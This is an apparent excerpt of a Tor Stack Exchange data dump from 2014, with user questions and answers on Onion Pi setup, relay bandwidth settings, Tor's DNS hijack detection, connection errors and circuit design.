file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo sh -c &quot;iptables-save &amp;gt; /etc/iptables.ipv4.nat&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;It will automatically get loaded when the networking is set up on&#xA;  reboot (as we did in the last tutorial on making a Pi access point)&#xA;  &lt;img src=&quot;https://i.stack.imgur.com/bUCgm.png&quot; alt=&quot;screenshot of terminal after restart&quot;&gt; Next we'll create our log file (handy for&#xA;  debugging) with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo touch /var/log/tor/notices.log&#xA;sudo chown debian-tor /var/log/tor/notices.log&#xA;sudo chmod 644 /var/log/tor/notices.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Check it with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ls -l /var/log/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Start the tor service manually&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Check its really running (you can run this whenever you're not sure,&#xA;  it something is wrong you'll see a big FAIL notice&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Finally, make it start on boot&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo update-rc.d tor enable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/haFwV.png&quot; alt=&quot;screenshot of terminal after above command&quot;&gt;&#xA;  That's it, now you're ready to test in the next step.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(&lt;a href=&quot;https://learn.adafruit.com/onion-pi/install-tor&quot; rel=&quot;noreferrer&quot;&gt;Adafruit&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edit: Please look at &lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;noreferrer&quot;&gt;Tails&lt;/a&gt; which does the same thing with much less risk.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-10-25T04:45:44.317" LastActivityDate="2014-10-25T04:45:44.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3323" PostTypeId="1" CreationDate="2014-06-16T02:02:12.903" Score="11" ViewCount="3035" Body="&lt;p&gt;I am confused about a few terms: &lt;code&gt;AdvertisedBandwidth&lt;/code&gt;, &lt;code&gt;MaxAdvertisedBandwidth&lt;/code&gt;, &lt;code&gt;MeasuredBandwidth&lt;/code&gt;, &lt;code&gt;RelayBandwidthBurst&lt;/code&gt;, &lt;code&gt;RelayBandwidthRate&lt;/code&gt;, &lt;code&gt;BandwidthBurst&lt;/code&gt;, and &lt;code&gt;BandwidthRate&lt;/code&gt;. Can anyone please explain these terms?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorDisplayName="user66" LastEditDate="2014-06-19T14:39:52.103" LastActivityDate="2014-06-23T15:53:46.110" Title="Can anybody explain the Advertised bandwidth, MaxAdvertisedBandwidth, Measured bandwidth, Bandwidth burst, RelayBandwidth rate?" Tags="|relays|directory|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3324" PostTypeId="1" AcceptedAnswerId="3326" CreationDate="2014-06-16T06:11:15.633" Score="2" ViewCount="419" Body="&lt;p&gt;I have a whole bunch of these Bro SSL logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       version cipher  server_name     session_id      subject issuer_subject  not_valid_before        not_valid_after last_alert      client_subject  client_issuer_subject cert_hash&#xA;1400549762.341095       CxQQ9A2UpLjNzAkPWf      10.1.40.137     60327   212.83.158.5    443     TLSv11  TLS_DHE_RSA_WITH_AES_256_CBC_SHA        www.k5ywywl5lg7xah.com  -       CN=www.ddhy63tk5szqlp.net       CN=www.smszdsv6f.com    1388448000.000000     1409529600.000000       -       -       -       601ac9c406965863aae95863ef08ae08&#xA;1400560864.711898       Cc8n8M385BQ1LVUCY       10.1.40.137     47728   107.150.27.198  9001    TLSv11  TLS_DHE_RSA_WITH_AES_256_CBC_SHA        www.psoejykjni.com      -       CN=www.kevl77x7xltanvj7erf.net  CN=www.j4mkawjx2yfsfxpvirx5.com       1372291200.000000       1402876799.000000       -       -       -       aa0ae7dee4dcc97371b37bfc59045e3e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain these connections? They generally last 180-190 seconds. I can't find any documentation on these apparently random domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first saw these log entries, I thought I had some kind of botnet infection. But I've read that the ports seen (443, 9001, 8181, etc.) are used in Tor. And after I uninstalled the Tor package, I saw no more connections like these.&lt;/p&gt;&#xA;" OwnerUserId="2963" LastEditorUserId="100" LastEditDate="2014-06-17T22:52:12.600" LastActivityDate="2014-06-17T22:52:12.600" Title="Tor Connecting to Randomly Generated Domains" Tags="|tor-browser-bundle|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3325" PostTypeId="2" ParentId="1946" CreationDate="2014-06-16T09:45:37.973" Score="2" Body="&lt;p&gt;I had the same &lt;code&gt;'connection refused' [WSAECONNREFUSED]&lt;/code&gt; error after upgrading my firewall (ZoneAlarm free, from 12.0.104 to 13.2.015) and I solved it this way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Stop Tor (with button on Vidalia control panel)&lt;/li&gt;&#xA;&lt;li&gt;Change 'firewall settings'&lt;/li&gt;&#xA;&lt;li&gt;Start Tor again &lt;/li&gt;&#xA;&lt;li&gt;Error? restart from step 1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I repeated these steps ~10 times to find out that I had to deactivate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ ] 'block secure server'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ ] 'block public server' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now Tor is running perfecty and I can surf again.&lt;/p&gt;&#xA;" OwnerUserId="2966" LastEditorUserId="71" LastEditDate="2014-06-16T13:37:52.707" LastActivityDate="2014-06-16T13:37:52.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3326" PostTypeId="2" ParentId="3324" CreationDate="2014-06-16T11:08:40.573" Score="2" Body="&lt;p&gt;These requests are meant to detect DNS resolvers that fake answers for non-existant domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature was added for relays in Tor 0.1.2.13 (released 2007-04-24):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Workaround for name servers (like Earthlink's) that hijack failing&#xA;  DNS requests and replace the no-such-server answer with a &quot;helpful&quot;&#xA;  redirect to an advertising-driven search portal. Also work around&#xA;  DNS hijackers who &quot;helpfully&quot; decline to hijack known-invalid&#xA;  RFC2606 addresses. Config option &quot;ServerDNSDetectHijacking 0&quot;&#xA;  lets you turn it off.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the relevant &lt;em&gt;manpage&lt;/em&gt; entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ServerDNSDetectHijacking 0|1&#xA;       When this option is set to 1, we will test periodically to determine whether our&#xA;       local nameservers have been configured to hijack failing DNS requests (usually to&#xA;       an advertising site). If they are, we will attempt to correct this. This option&#xA;       only affects name lookups that your server does on behalf of clients. (Default: 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-06-16T11:08:40.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3327" PostTypeId="2" ParentId="3304" CreationDate="2014-06-16T11:30:28.983" Score="1" Body="&lt;p&gt;The list of provided bridges is shipped with the Tor Browser itself (see &lt;a href=&quot;https://gitweb.torproject.org/builders/tor-browser-bundle.git/blob/HEAD:/Bundle-Data/PTConfigs/bridge_prefs.js&quot; rel=&quot;nofollow&quot;&gt;bridge_prefs.js&lt;/a&gt; in the source).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list itself is assembled by the Tor Browser and pluggable transport teams with addresses of bridges run by long time members of the Tor community.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-06-16T11:30:28.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3328" PostTypeId="2" ParentId="3277" CreationDate="2014-06-16T12:12:13.090" Score="1" Body="&lt;p&gt;There is work to be done at various level. See the relevant &lt;a href=&quot;https://tails.boum.org/blueprint/Return_of_Icedove__63__/&quot; rel=&quot;nofollow&quot;&gt;blueprint&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-06-16T12:12:13.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3329" PostTypeId="2" ParentId="949" CreationDate="2014-06-17T03:09:34.530" Score="0" Body="&lt;p&gt;I've decided to test how well the top 50 websites work for Tor users, and to determine the pervasiveness of any blocking. I'm using a script that runs &quot;torsocks midori -s &lt;a href=&quot;http://foo.bar/&quot; rel=&quot;nofollow&quot;&gt;http://foo.bar/&lt;/a&gt;&quot; to snapshot sites. Midori is configured send a Firefox user agent string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Results from the initial test series are &lt;a href=&quot;http://www.4shared.com/download/LR2cDKL-ce/Top_50_Websites_via_Tor_rev.png?lgfp=3000&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and some exemplary histograms are &lt;a href=&quot;http://www.4shared.com/download/QphEYo8Jba/Histograms_for_Example_Website.png?lgfp=3000&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I'll add additional text, highlighting the results, as I have time. I'll also update the image link as I include new data in the analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some websites (or services such as CloudFront) may serve rapidly loading CAPTCHA-challenge pages to Tor users. As Cammy_the_block has noted, this would skew my results, in that blocking in this way would increase apparent performance. However, I have not seen any CAPTCHA challenges in the snapshots that I've taken so far. If I do find a CAPTCHA-challenge snapshot for a given website, I can probably identify others based on size.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-06-18T03:22:54.300" LastActivityDate="2014-06-18T03:22:54.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3330" PostTypeId="1" AcceptedAnswerId="3770" CreationDate="2014-06-17T18:45:16.940" Score="3" ViewCount="1035" Body="&lt;p&gt;The Following warnings have been observed during Tor operations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Warning] onion_skin_client_handshake failed.&#xA;[Warning] circuit_finish_handshake failed.*&#xA;[Warning] connection_edge_process_relay_cell (at origin) failed.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are these warnings trying to tell?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-05T19:36:55.633" LastActivityDate="2014-08-05T22:23:15.217" Title="What do these Tor warnings imply?" Tags="|tor-browser-bundle|relays|windows|circuit|client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3331" PostTypeId="1" AcceptedAnswerId="3345" CreationDate="2014-06-17T21:19:37.850" Score="2" ViewCount="1082" Body="&lt;p&gt;This is a followup of &lt;a href=&quot;https://tor.stackexchange.com/q/1601/521&quot;&gt;Can Tor be configured to run on all outgoing connections on a server?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully placed Tor as a transparent proxy over my VPS, however, I'm getting some trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl http://icanhazip.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes, it returns an IP which is different from the original one of the server. Sometimes however, it returns &quot;Couldn't resolve host&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as though every once in a while, if I wait, then curl, it would give the error, and subsequent calls would return an IP like intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause? How can I further debug this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -v icanhazip.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives me the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* getaddrinfo(3) failed for icanhazip.com:80&#xA;* Couldn't resolve host 'icanhazip.com'&#xA;* Closing connection #0&#xA;curl: (6) Couldn't resolve host 'icanhazip.com'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="521" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-10-03T22:10:00.797" Title="Tor sometimes manages to connect, sometimes couldn't resolve host" Tags="|server-administration|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3332" PostTypeId="2" ParentId="702" CreationDate="2014-06-18T07:15:57.063" Score="1" Body="&lt;p&gt;As long as each obfsproxy instance binds a unique port, you can have as many of them as you have the resources to run.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-18T07:15:57.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3333" PostTypeId="1" CreationDate="2014-06-18T10:39:18.120" Score="3" ViewCount="44" Body="&lt;p&gt;Im asking myself, why the rendezvous circuit has a minimum length of 6 hops, which are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Client -&amp;gt; (a1) -&amp;gt; (a2) -&amp;gt; (RP) &amp;lt;- (b3) &amp;lt;- (b2) &amp;lt;- (b1) &amp;lt;- HS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Client is using RP as its Endpoint, so why isen't HS doing the same? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HS is told to which RP to connect to, so I guess its just building a normal circuit with its endpoint (b3), which is connecting to the RP. So is this done, because the HS has no control over choosing the RP, and since the Client is doing this alone and could choose some malicious OR, this could reduce the anonymity. &lt;/p&gt;&#xA;" OwnerUserId="2972" LastEditorUserId="923" LastEditDate="2014-06-18T12:28:25.517" LastActivityDate="2014-07-22T11:08:32.437" Title="Why is the HS not using the RP as the Endpoint of its rendezvous circuit?" Tags="|onion-services|anonymity|circuit|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3334" PostTypeId="1" AcceptedAnswerId="3413" CreationDate="2014-06-19T02:17:49.637" Score="4" ViewCount="19466" Body="&lt;p&gt;I've installed the Tor Browser Bundle on my Mac, by downloading the package file and extracting it on my desktop.  But when I try to run TBB, I get the error &quot;Firefox is already running&quot;.  I have restarted the system to clear any instances of Firefox, but I still get the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen one reply suggesting that access rights to directories might be a problem, but I'm not sure how to correct the issue.  I haven't changed any permissions in the system, I've simply followed instructions to download and run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop this message from occurring, and thus open up Tor Browser Bundle?&lt;/p&gt;&#xA;" OwnerUserId="2974" LastEditorUserId="923" LastEditDate="2014-06-19T09:09:35.627" LastActivityDate="2014-10-30T03:22:45.330" Title="Tor Browser Bundle Showing Error &quot;Firefox is Already Running&quot; on Mac" Tags="|tor-browser-bundle|firefox|mac|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3335" PostTypeId="1" CreationDate="2014-06-19T04:11:05.733" Score="1" ViewCount="1128" Body="&lt;p&gt;I downloaded the Tor browser bundle yesterday, it opens fine, says I'm connected, and that I'm anonymous.  However, when I try to connect to any onion sites it will not access any of them, have tried multiple times to no avail. My firewall is set to allow Tor to run, and everything seems fine, untill I try to access an onion site.  It says timed out or something and unable to make connection. Can anyone suggest what is going on, and how I can fix the problem?&lt;/p&gt;&#xA;" OwnerUserId="2975" LastEditorUserId="923" LastEditDate="2014-06-19T09:09:29.517" LastActivityDate="2014-06-19T11:11:29.180" Title="trouble connecting to any onion sites" Tags="|tor-browser-bundle|onion-services|" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-13T17:37:06.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="3336" PostTypeId="1" AcceptedAnswerId="3569" CreationDate="2014-06-19T10:16:22.810" Score="5" ViewCount="1291" Body="&lt;p&gt;I am having issues connecting to Tor via Ruby - Watir webdriver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the Tor Browser Bundle. The problem is that when I try to connect via Watir (Selenium) I cannot seem to open Tor instead of regular Firefox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at similar issues I've tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require 'watir-webdriver'&#xA;&#xA;profile = Selenium::WebDriver::Firefox::Profile.new&#xA;&#xA;profile['network.proxy.socks'] = '127.0.0.1' #the proxy tor uses&#xA;profile['network.proxy.socks_port'] = 9150 #I cannot use 9050, 9150 works when I use Tor&#xA;profile['network.proxy.type'] = 1&#xA;&#xA;browser = Watir::Browser.new :firefox, :profile =&amp;gt; profile&#xA;browser.goto [an .onion website]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use the before-mentioned code I nonetheless still open the normal firefox browser, and cannot connect to onion sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Is there another way in which I need to connect the Tor browser to my webdriver profile?&lt;/p&gt;&#xA;" OwnerUserId="2976" LastEditorUserId="923" LastEditDate="2014-06-19T11:18:28.360" LastActivityDate="2016-01-03T00:14:17.613" Title="Connect to Tor-Firefox via Ruby/Watir" Tags="|tor-browser-bundle|onion-services|configuration|firefox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3338" PostTypeId="2" ParentId="3323" CreationDate="2014-06-19T15:08:15.820" Score="4" Body="&lt;p&gt;I'll give it a try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;BandwidthBurst&lt;/code&gt;: The maximum bandwidth of short spikes in network traffic. While Tor tries to use &lt;code&gt;BandwidthRate&lt;/code&gt; on average, it may use this value for short bursts. It was advised that this value should be four times the &lt;code&gt;BandwidthRate&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;BandwidthRate&lt;/code&gt;: The average bandwidth Tor should use.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RelayBandwidthBurst&lt;/code&gt; and &lt;code&gt;RelayBandwidthRate&lt;/code&gt;: Both values deal with &lt;em&gt;relayed traffic&lt;/em&gt; and have the same meaning as the ones above.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AdvertisedBandwidth&lt;/code&gt;: I'm not aware of such a name. If you have a look at &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt;, you'll find a value there for advertised bandwidth (see &lt;a href=&quot;https://atlas.torproject.org/#details/64D500C4D7F989ECD74B42ABB068818EF95525F3&quot; rel=&quot;nofollow&quot;&gt;politkovskaja&lt;/a&gt; as an example). This is the value which the directory authority measures.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MaxAdvertisedBandwidth&lt;/code&gt;: This is the maximum bandwidth your server claims to have. If you run a relay and don't set any limits, Tor will try to use all available bandwidth. Sometimes the bandwidth is so high that the CPU can't handle it anymore. You'll see warnings in the Tor logfile. In the case it is wise to set &lt;code&gt;MaxAdvertisedBandwidth&lt;/code&gt;, because it tells the outside world that your bandwidth is smaller and so attracts less clients. Someone suggested that this should be 30% more than &lt;code&gt;BandwidthRate&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MeasuredBandwidth&lt;/code&gt;: There is no configuration option with this name. However directory authorities measuring the traffic and might use such a name.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Within the comments you mentioned a bandwidth from the microdesc-consensus. An entry looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r TorNinurtaName AA8YrCza5McQugiY3J4h5y4BF9g 2014-06-23 08:06:30 151.236.6.198 9001 9030&#xA;m sB1HNyL+qngrnX8/DhRPZNfX/SbL+jvs3CE7k3v0kMg&#xA;s Fast Guard HSDir Named Running Stable V2Dir Valid&#xA;v Tor 0.2.4.22&#xA;w Bandwidth=2470&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last line is an estimated bandwidth. You can find some details in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1651&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-06-23T15:53:46.110" LastActivityDate="2014-06-23T15:53:46.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3339" PostTypeId="1" CreationDate="2014-06-19T16:48:41.540" Score="4" ViewCount="420" Body="&lt;p&gt;Looking at the circuits build for a client during a Tor process, I have noticed the following:&#xA;Four circuits were built. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first circuit the guard node was &lt;strong&gt;a1&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the second circuit the exit node was &lt;strong&gt;a1&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the third circuit the guard node was &lt;strong&gt;a1&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the fourth circuit the guard node was &lt;strong&gt;a1&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the risk of simultaneously having circuits that use same node for guard relay and exit relay?&#xA;P.S. This is not a hypothetical question. I have documented the actual circuits built by Tor process for reference. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="88" LastEditDate="2015-08-21T14:43:13.133" LastActivityDate="2015-08-21T14:43:13.133" Title="What is the risk of guard relay and exit relay being one and the same?" Tags="|exit-relays|guard|protocol|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3340" PostTypeId="1" AcceptedAnswerId="3343" CreationDate="2014-06-19T21:03:11.910" Score="2" ViewCount="492" Body="&lt;p&gt;I have a personal laptop connected to a university connection, and reach the Internet through a proxy server. I have configured Tor to use only HTTP/HTTPS (since the firewall seems to reject all other connections as far as I'm aware). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to run a non-exit relay under these circumstances? Is it possible for the network administrator to notice that I'm running a Tor relay? I understand that with deep packet inspection it's possible, but if they're just monitoring logs etc. can they figure it out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm only asking because the admin has proven themselves to take very, very unkindly to any &quot;hacking&quot; that they see on the network, and using Tor is definitely in violation of the rules.&lt;/p&gt;&#xA;" OwnerUserId="2970" LastEditorUserId="100" LastEditDate="2014-06-20T06:14:20.327" LastActivityDate="2014-06-20T06:19:31.063" Title="Running a Tor (non-exit) relay behind university firewall" Tags="|relays|guard|middle|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3343" PostTypeId="2" ParentId="3340" CreationDate="2014-06-20T06:19:31.063" Score="3" Body="&lt;p&gt;Even if you got this to work, it wouldn't benefit the Tor network. Proxies tend to be slow and unreliable, so your relay would be as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a Tor relay wouldn't go unnoticed for very long. Few students are online 24/7, as the relay (with luck) would be. And given your comment about the admin, you would soon be in trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use your own private proxy. However, it would be better and safer to just run the relay remotely.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-20T06:19:31.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3344" PostTypeId="1" CreationDate="2014-06-20T09:38:22.087" Score="1" ViewCount="355" Body="&lt;p&gt;Shortly after starting my exit relay I start to get a spam of messages that look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 20 17:09:48.269 [Warning] eventdns: All nameservers have failed&#xA;Jun 20 17:09:54.253 [Notice] eventdns: Nameserver 192.168.1.1:53 is back up&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After hours of uptime, despite the program reporting itself to be &quot;online&quot;, the relay does not appear as online in Tor Atlas or Tor Globe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is behind a firewall/NAT but everything has been properly configured (appropriate port forwarding completed, firewall access allowed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relay runs upon a 64-bit Windows Server 2008 R2 with Tor 0.2.4.22&lt;/p&gt;&#xA;" OwnerUserId="2983" LastActivityDate="2014-07-28T07:13:19.833" Title="Exit Relay Warning: All nameservers have failed" Tags="|exit-relays|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3345" PostTypeId="2" ParentId="3331" CreationDate="2014-06-20T12:05:54.093" Score="3" Body="&lt;p&gt;Try &lt;code&gt;curl -v icanhazip.com&lt;/code&gt; and play with &lt;code&gt;--connect-timeout --max-time --retry-max-time&lt;/code&gt;. +&lt;/p&gt;&#xA;" OwnerUserId="2982" LastEditorUserId="2982" LastEditDate="2014-10-03T22:10:00.797" LastActivityDate="2014-10-03T22:10:00.797" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3346" PostTypeId="1" CreationDate="2014-06-20T13:56:28.047" Score="2" ViewCount="2191" Body="&lt;p&gt;Does anyone know if it's possible to configure Tor Browser to exclude circuits with exit relays whose hostnames contain &quot;tor&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, these exit relays are unwanted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host Name: arachnidefr94.torproxy-readme-arachnide-fr-35.fr&#xA;Host Name: tor-exit.nabnut.net&#xA;Host Name: tor18.anonymizer.ccc.de&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exit relays such as these are desired:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host Name: atlantic480.us.unmetered.com&#xA;Host Name: hosted-by.snelis.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="100" LastEditDate="2014-06-21T07:24:33.417" LastActivityDate="2014-08-21T12:50:12.477" Title="Configuring Tor browser to exclude exits with &quot;tor&quot; in hostname" Tags="|anonymity|security|onion-routing|vidalia|browsers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3347" PostTypeId="1" CreationDate="2014-06-21T02:59:19.543" Score="5" ViewCount="572" Body="&lt;p&gt;Could Tor be compromised by hackers, allowing them to discover your IP, etc.?&lt;/p&gt;&#xA;" OwnerUserId="2987" LastEditorUserId="100" LastEditDate="2014-06-21T10:46:24.067" LastActivityDate="2016-08-02T10:20:09.827" Title="Could Tor be hacked, revealing users' personal info?" Tags="|anonymity|" AnswerCount="2" CommentCount="3" ClosedDate="2016-08-05T20:35:57.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="3348" PostTypeId="2" ParentId="3347" CreationDate="2014-06-21T09:41:02.243" Score="-1" Body="&lt;p&gt;If you read up on subjects such as Tails for instance you can get more info, I say Tails because they actually have an informative FAQ section on Tor.  You have to realize nothing in itself is foolproof.  A hacker can identify an originating IP at the exitpoint as the packet is no longer encrypted, and so it is typically ideal to use a Tor Bridge, and connect through a unpublished or uncommon entrypoint&lt;/p&gt;&#xA;" OwnerUserId="2988" LastEditorUserId="923" LastEditDate="2014-06-21T12:25:07.020" LastActivityDate="2014-06-21T12:25:07.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
